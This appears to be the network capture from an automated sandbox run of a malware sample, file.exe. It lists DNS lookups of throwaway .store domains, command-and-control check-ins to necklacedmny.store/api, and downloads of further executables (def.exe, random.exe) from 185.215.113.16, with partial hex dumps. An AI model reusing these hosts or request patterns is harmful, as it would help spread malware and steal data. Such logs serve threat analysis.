Oct 29, 2024 20:43:50.043900967 CET	1.1.1.1	192.168.2.6	0x3e7f	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.069629908 CET	1.1.1.1	192.168.2.6	0x4b25	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.083343029 CET	1.1.1.1	192.168.2.6	0x36ce	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.095000029 CET	1.1.1.1	192.168.2.6	0x4586	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.113051891 CET	1.1.1.1	192.168.2.6	0x7970	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 20:43:50.113051891 CET	1.1.1.1	192.168.2.6	0x7970	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	62422	185.215.113.16	80	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:44:51.203502893 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 20:44:52.111358881 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:44:51 GMT Content-Type: application/octet-stream Content-Length: 2751488 Last-Modified: Tue, 29 Oct 2024 19:41:45 GMT Connection: keep-alive ETag: "67213a79-29fc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 fa 1c 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ *`Ui` @ @.rsrc`2@.idata 8@oqnpedhk)):@qseuxiwn @)@.taggant@`*")@
Oct 29, 2024 20:44:52.111382961 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:52.111394882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:52.111480951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:52.111493111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:52.111680031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:52.111691952 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:52.111835957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:52.111848116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: jd)Clr$<Au4P@KVqx`-bCTrqVs[nY,wO}w}$<W#8,_/W(BSoCv;>~X?]t\|,$7GUX=[ }S\|G\|N{/}U
Oct 29, 2024 20:44:52.112008095 CET	1236	IN	Data Raw: 88 77 5a 9b 59 2b fc 82 08 00 9f 88 cd aa e0 a2 ca 33 3d 53 11 30 37 7d 18 4b 6b 3d da 19 05 71 dc fe 40 f0 32 08 42 89 3b 10 cd c8 01 3f 22 e7 63 81 42 f3 03 5f 41 85 2b 48 68 d8 5d 58 0c fb 35 35 18 7d 14 5d bd d4 99 0c 59 2d e2 ce a6 bc 8a a3 Data Ascii: wZY+3=S07}Kk=q@2B;?"cB_A+Hh]X55}]Y-6@w]-M5{:)C#*L,:YxdpQxH-yyq\=HMz]Td9}zRx>p7Lax<C446p$(Bg=y"T;d-Fz@<
Oct 29, 2024 20:44:52.117170095 CET	1236	IN	Data Raw: a7 49 30 21 78 a0 20 d3 35 1a 36 6a 97 b3 2e d1 d9 92 50 c3 25 88 38 62 1e 8b 8a f5 ba 78 27 bf 2b ff 1c b6 17 47 b7 9c d8 10 97 c0 42 6f c8 93 e0 98 18 0e 44 8e 86 95 de 98 20 7e 5c d6 0b c9 df 52 29 d8 0f 77 dd 7a af f9 ba dc 89 8b 59 7b 48 f6 Data Ascii: I0!x 56j.P%8bx'+GBoD ~\R)wzY{HJyjz. KXyQd!Sd WE /06 8Q0{yX}kT8;[V_{Uqyv`g{\iI;EE;%<Sx^"\LpHG6\/YV-Lf#A'p1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	62424	185.215.113.16	80	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:44:58.493590117 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 20:44:59.403682947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:44:59 GMT Content-Type: application/octet-stream Content-Length: 1915904 Last-Modified: Tue, 29 Oct 2024 18:58:42 GMT Connection: keep-alive ETag: "67213062-1d3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`L@LD@Wk@L8@L @.rsrc@.idata @ p+@dqejjcio0 2"@gfikdquePL@.taggant0`L"@
Oct 29, 2024 20:44:59.403784037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:59.403796911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:59.403808117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 20:44:59.403975010 CET	1236	IN	Data Raw: d1 86 9d a8 81 58 4c dd 66 a7 69 af c5 a3 ef 41 b7 7b 04 ec 0f cd 42 39 94 2d e1 8b 90 49 ed 5c 75 85 7e 36 76 45 91 68 92 bc 89 6e 16 aa 9e 44 26 bd 2d 2b 22 9f c2 bd 77 ba 1d d8 9f d8 ed 3d 16 c9 b9 79 fe 7c c8 3c 84 f8 13 6e 56 ba d5 7a 87 1c Data Ascii: XLfiA{B9-I\u~6vEhnD&-+"w=y\|<nVz>x1\|KqXMY9]]ti}[&@,-~\ht9/B+YQ]pbkvuW1`P~x&r
Oct 29, 2024 20:44:59.403985977 CET	1236	IN	Data Raw: 60 89 3b fb a1 f1 dd ae 89 e5 29 2a c9 6c 6b 26 36 8b 11 14 87 c8 49 a3 06 8e ed 1c 6a c5 72 6b 06 ab b5 70 54 65 e4 b1 14 e7 41 74 3f 49 cd 98 a5 28 6c 7c 9c f8 e8 6f be 4b 92 b5 90 dd 69 5f 76 89 e7 78 b6 35 56 49 ca f4 ec 10 a6 04 08 88 1b 2a Data Ascii: `;)lk&6IjrkpTeAt?I(l\|oKi_vx5VI$=&l;l5lUPZI9HNU2U%<@PD\|cAo!UX:WSe[G%JiwM32;vD5_^1@7Nw
Oct 29, 2024 20:44:59.403996944 CET	1236	IN	Data Raw: e2 b0 4a 07 5e b2 49 9d 5d bc c4 ea 87 aa 25 3e c9 14 7e 4b 0d 39 23 1b 31 a3 3a 1f 4e bb 25 66 a3 0a 5f 5a 52 a4 1e 89 49 da e9 9f 70 21 03 ae 63 35 4a fe 19 44 6b 7a 47 65 78 69 f3 59 be fc 19 a2 87 d3 07 21 08 9c b8 26 84 9e 59 96 46 9d cd e9 Data Ascii: J^I]%>~K9#1:N%f_ZRIp!c5JDkzGexiY!&YFUJA@yH\Z<RKuCD'C15v$Gj&&+RTqb^ZOQYazIhvHGZf8os^`m(;H=mSe_d}@}XW9
Oct 29, 2024 20:44:59.404119015 CET	1236	IN	Data Raw: c8 63 13 26 84 25 86 7b 8a 49 b1 c0 c9 03 dd 81 39 96 9b 8f 43 15 ee bc 87 c3 91 05 a4 fc 34 1d b2 41 3e 21 e0 1d ba 8c 3a 21 70 3b f2 52 d0 84 99 cd e6 b3 34 e7 10 6a 4b cc 99 a2 b8 04 c5 d9 84 fb da 39 80 c3 f6 27 87 09 e1 e1 5c a0 20 7a 0b ae Data Ascii: c&%{I9C4A>!:!p;R4jK9'\ z:P4G5;$sBUtj:jmQ>9-A%j0.Rs/gKOpu^^-FbXuD^u@}Z6A6ahHlC8X
Oct 29, 2024 20:44:59.404324055 CET	1236	IN	Data Raw: 15 69 1e e8 f7 0f f9 a3 4d 60 09 90 c1 aa e5 f8 6a 6b d2 1a b2 a1 4d e6 c4 6d a8 b7 f2 77 f4 9c e1 45 95 a2 a5 4a 8b b3 b3 0a 9c 7e 6e b0 4d a3 5e 69 57 43 e3 8f 05 6a 29 4a 9f a0 9b b2 5f 5b 5a ac 2d c5 ee 7a f5 fb de ff ca 42 b7 3d 05 af ec 6f Data Ascii: iM`jkMmwEJ~nM^iWCj)J_[Z-zB=oX~O ec_f`:\|n`H6yK\|Nq"O]HV*JPKG'\:o# \QFvx6P5Gl^D/3qU7O>3LM>[
Oct 29, 2024 20:44:59.404335976 CET	1236	IN	Data Raw: 88 b7 8d 37 80 fb d1 dd 90 1f 8f 65 3c 3c 9c 49 da a3 b8 50 5e 09 07 df a5 5b ee 4a 27 67 9f 8f f3 66 42 a7 fb 03 fc 2a 84 43 85 25 b8 3d 82 29 33 fe 49 6b 92 bd 0e 84 67 c2 f7 64 66 78 a8 c6 4a 75 1e d4 a1 b7 eb 5b 26 9c 34 bc f9 78 f7 b4 d0 f1 Data Ascii: 7e<<IP^[J'gfB*C%=)3IkgdfxJu[&4xI3#u@lhCiI!y9s-~niy+UYKE_G%h6hUzuK#w#YFDU^9Ax.bF?n_`_Ga3[5u?F%
Oct 29, 2024 20:44:59.410039902 CET	1120	IN	Data Raw: a9 8b f1 17 58 83 05 af 0a 87 30 9b a9 39 80 8c ff 65 6e 22 8c 32 04 1c 0e 99 c7 80 35 75 1c 14 26 e2 ec c4 b5 a9 69 7c 65 27 97 df 48 35 9c f7 19 04 c8 24 8a 79 98 26 9e 3a a7 84 b3 39 da 8a 16 f0 78 79 fc 61 c2 8b 06 da 75 19 cc a1 fc f8 fb 75 Data Ascii: X09en"25u&i\|e'H5$y&:9xyauuUnvy3=/vE/F@b!2?N-yAZn6V9[+V?7T~U@p{"m3jQ5e}wCPmPI~fMtN]

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:43:50 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 19:43:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 19:43:51 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ga06odv98488skj8i4ifi6a9ud; expires=Sat, 22 Feb 2025 13:30:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r0jmgmFsvvkjt4DsHWy93zdTaeR%2Fwv%2BwPjnasVOSCGCJdxAVjORJHbZH2HygD8VjLfryUPoVSMd7B%2FRWAaTxfX83HuBwP1OlAJcXRYv1t2wsC8AGNyG6Zk0nPrbB7w%2F98O8ZaNg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da5a8277e21a918-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2041&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1381020&cwnd=177&unsent_bytes=0&cid=ee3ded88ceca25d0&ts=556&x=0"
2024-10-29 19:43:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 19:43:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:43:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 19:43:52 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 19:43:52 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:43:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=slj80lbv7hq5phsc4p19k4v636; expires=Sat, 22 Feb 2025 13:30:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pQR49rJ7GO%2BpXysLGEi7y8N8tv7oF0djM%2FthQALLU05e9UoPc3iT8sncGNnyh52evREoPaCDrjZ2D5K0aWMFAUts6e1zdfdzzP6yiKPgxiQt4IrnoSwybwqgub7StXeWarDkW%2FA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da5a830ea8c6b07-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1184&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2381578&cwnd=251&unsent_bytes=0&cid=63ed5d6de6d5d7ed&ts=473&x=0"
2024-10-29 19:43:52 UTC	356	IN	Data Raw: 31 64 38 62 0d 0a 32 30 72 49 50 50 38 59 55 45 55 42 49 53 4e 50 32 51 4b 73 4d 48 42 36 2b 4b 39 57 32 4b 45 78 31 4d 59 4a 50 4e 7a 77 34 66 36 67 61 4c 34 65 78 53 78 38 5a 33 4a 45 41 58 57 74 63 4e 6c 56 58 46 69 5a 79 33 54 69 78 31 43 34 74 57 77 51 2f 6f 61 4d 33 4f 45 73 71 56 43 4d 66 58 78 6e 5a 46 6b 42 64 59 4a 35 6a 6c 55 65 57 4d 4b 4e 4d 37 4c 44 55 4c 69 6b 61 46 65 7a 67 49 32 64 73 79 61 76 56 4a 70 37 4e 43 52 74 54 45 59 71 76 47 50 47 58 68 6b 58 6b 4d 4a 30 39 49 4e 55 72 75 51 7a 48 70 47 56 6c 5a 2b 57 4b 37 74 58 33 57 56 38 50 69 4e 45 54 57 33 6a 49 4d 31 56 45 68 61 65 79 7a 32 77 79 56 6d 77 70 57 31 57 72 4a 6d 48 6c 72 4d 6f 72 46 57 51 63 69 41 70 5a 30 74 4e 4c 4c 5a 6a 6a 68 78 53 48 34 4b 4e 62 50 71 51 59 62 57 31 65 Data Ascii: 1d8b20rIPP8YUEUBISNP2QKsMHB6+K9W2KEx1MYJPNzw4f6gaL4exSx8Z3JEAXWtcNlVXFiZy3Tix1C4tWwQ/oaM3OEsqVCMfXxnZFkBdYJ5jlUeWMKNM7LDULikaFezgI2dsyavVJp7NCRtTEYqvGPGXhkXkMJ09INUruQzHpGVlZ+WK7tX3WV8PiNETW3jIM1VEhaeyz2wyVmwpW1WrJmHlrMorFWQciApZ0tNLLZjjhxSH4KNbPqQYbW1e
2024-10-29 19:43:52 UTC	1369	IN	Data Raw: 49 31 61 30 68 4b 4b 4b 6c 72 78 31 38 66 47 4a 66 48 4f 37 6e 44 56 4c 79 75 5a 46 53 36 6e 34 36 61 75 53 6a 71 45 4e 31 39 4b 6d 63 37 41 32 49 6f 71 32 66 43 52 46 41 69 32 74 4a 36 6f 34 4e 55 75 75 51 7a 48 72 61 58 67 4a 2b 79 4a 36 6c 57 6c 6d 67 79 4e 57 56 4f 52 44 2b 39 5a 63 42 59 45 51 71 51 77 7a 4b 35 79 6c 69 2f 6f 57 78 61 2f 74 7a 44 6d 36 46 6f 38 68 36 38 64 7a 6b 72 61 56 52 42 62 61 51 75 31 78 49 56 46 4e 71 56 64 4c 37 43 56 37 65 67 5a 56 43 36 6e 6f 57 53 74 43 65 73 56 4a 31 39 4f 43 39 72 51 6b 77 6d 74 47 44 4c 58 78 59 65 6c 73 77 78 2b 6f 30 54 73 62 77 72 42 76 36 38 68 4a 2b 72 61 70 39 64 6b 33 51 31 4d 53 4e 63 44 7a 54 37 5a 38 49 53 53 6c 69 55 79 44 75 6f 77 6b 47 7a 71 6e 6c 53 75 35 53 4f 6e 37 63 6f 72 31 6d 51 64 Data Ascii: I1a0hKKKlrx18fGJfHO7nDVLyuZFS6n46auSjqEN19Kmc7A2Ioq2fCRFAi2tJ6o4NUuuQzHraXgJ+yJ6lWlmgyNWVORD+9ZcBYEQqQwzK5yli/oWxa/tzDm6Fo8h68dzkraVRBbaQu1xIVFNqVdL7CV7egZVC6noWStCesVJ19OC9rQkwmtGDLXxYelswx+o0TsbwrBv68hJ+rap9dk3Q1MSNcDzT7Z8ISSliUyDuowkGzqnlSu5SOn7cor1mQd
2024-10-29 19:43:52 UTC	1369	IN	Data Raw: 63 44 7a 54 37 5a 38 49 53 53 6c 69 57 78 44 53 78 79 56 65 32 6f 32 5a 62 76 5a 57 41 6b 62 34 69 70 46 6d 5a 64 6a 73 71 5a 55 4e 47 4b 62 35 79 79 31 73 65 46 4e 71 44 64 4c 33 62 45 2b 37 6b 52 46 6d 6f 6b 61 79 66 71 43 48 71 51 64 4e 6a 63 69 42 76 41 78 6c 74 76 47 58 47 57 52 51 51 6d 74 38 78 74 4d 68 53 76 4b 4a 71 55 37 4b 55 67 35 32 35 4c 71 5a 65 6d 6e 30 67 4e 57 5a 46 55 79 66 37 4c 6f 35 56 43 6c 6a 43 6a 51 4b 71 31 45 4b 67 35 6c 35 64 73 4a 79 45 69 76 6b 33 35 45 66 64 66 54 35 6e 4f 77 4e 4b 4c 62 64 6e 78 6c 51 57 45 4a 58 43 50 61 6a 43 58 37 69 32 62 46 36 33 6e 49 79 51 73 43 57 74 55 35 5a 77 50 79 4e 6b 51 67 46 6a 2b 32 66 57 45 6b 70 59 72 4e 30 35 74 75 31 59 75 71 30 72 51 66 43 4c 77 35 75 31 61 50 49 65 6d 58 59 36 4c 57 Data Ascii: cDzT7Z8ISSliWxDSxyVe2o2ZbvZWAkb4ipFmZdjsqZUNGKb5yy1seFNqDdL3bE+7kRFmokayfqCHqQdNjciBvAxltvGXGWRQQmt8xtMhSvKJqU7KUg525LqZemn0gNWZFUyf7Lo5VCljCjQKq1EKg5l5dsJyEivk35EfdfT5nOwNKLbdnxlQWEJXCPajCX7i2bF63nIyQsCWtU5ZwPyNkQgFj+2fWEkpYrN05tu1Yuq0rQfCLw5u1aPIemXY6LW
2024-10-29 19:43:52 UTC	1369	IN	Data Raw: 76 32 66 4b 56 42 31 59 31 49 30 7a 6f 6f 4d 4c 39 6f 74 4d 61 2f 79 7a 75 64 79 6d 5a 72 4d 65 6d 6e 5a 79 66 79 4e 50 51 69 47 7a 62 38 68 62 48 68 4b 54 78 6a 69 78 78 31 2b 2f 6f 57 31 66 75 35 65 43 6d 4c 55 69 72 46 32 65 64 54 30 6f 61 77 4d 50 62 62 78 34 6a 67 70 53 50 59 33 47 4f 72 79 44 54 50 69 39 4b 31 6d 79 30 74 76 63 74 53 47 73 57 4a 68 32 4d 79 46 72 52 6b 6b 70 75 6d 62 49 55 52 30 63 6e 38 77 37 76 73 39 64 76 4b 56 71 55 72 57 64 69 4a 6e 35 5a 75 70 5a 68 54 70 71 5a 31 4a 41 56 7a 71 72 62 49 35 4e 58 41 48 61 79 6a 6a 36 6d 78 4f 33 74 6d 46 55 73 4a 65 4d 6d 62 6f 6e 72 56 4f 62 64 6a 67 75 61 30 56 4f 4a 4b 6c 6a 77 6c 77 56 46 70 62 44 4f 62 44 41 58 76 62 71 4b 31 6d 6d 30 74 76 63 6c 53 2b 6e 63 4a 5a 32 4e 57 64 38 44 56 68 Data Ascii: v2fKVB1Y1I0zooML9otMa/yzudymZrMemnZyfyNPQiGzb8hbHhKTxjixx1+/oW1fu5eCmLUirF2edT0oawMPbbx4jgpSPY3GOryDTPi9K1my0tvctSGsWJh2MyFrRkkpumbIUR0cn8w7vs9dvKVqUrWdiJn5ZupZhTpqZ1JAVzqrbI5NXAHayjj6mxO3tmFUsJeMmbonrVObdjgua0VOJKljwlwVFpbDObDAXvbqK1mm0tvclS+ncJZ2NWd8DVh
2024-10-29 19:43:52 UTC	1369	IN	Data Raw: 55 70 53 51 4e 72 37 4d 36 72 54 55 50 53 56 66 56 32 6f 6d 59 36 51 2b 54 66 6b 52 39 31 39 50 6d 63 37 41 30 63 69 73 6d 50 42 55 78 73 55 6c 38 67 39 76 38 4a 56 73 71 35 68 58 72 69 55 67 70 6d 7a 4b 36 74 55 6c 48 30 36 49 47 42 52 41 57 50 37 5a 39 59 53 53 6c 69 7a 79 69 61 30 30 78 4f 70 36 6e 49 65 75 5a 37 44 78 50 6b 73 6f 46 47 5a 66 54 34 68 5a 6b 56 4d 4c 4c 52 68 7a 6c 30 57 45 35 50 4c 4e 62 66 47 58 72 4b 32 59 56 57 78 6e 6f 71 51 74 47 6a 6b 48 70 70 69 63 6e 38 6a 63 6b 77 6a 74 57 66 59 45 67 31 57 67 34 30 7a 74 6f 4d 4c 39 71 56 6e 55 62 32 64 67 4a 2b 34 49 72 68 4d 6b 58 4d 36 49 6d 39 49 54 79 75 70 5a 73 46 62 45 52 75 54 79 6a 79 32 79 56 43 78 35 43 55 65 75 59 72 44 78 50 6b 4c 76 55 36 51 4f 69 31 70 65 67 4e 47 49 66 73 34 Data Ascii: 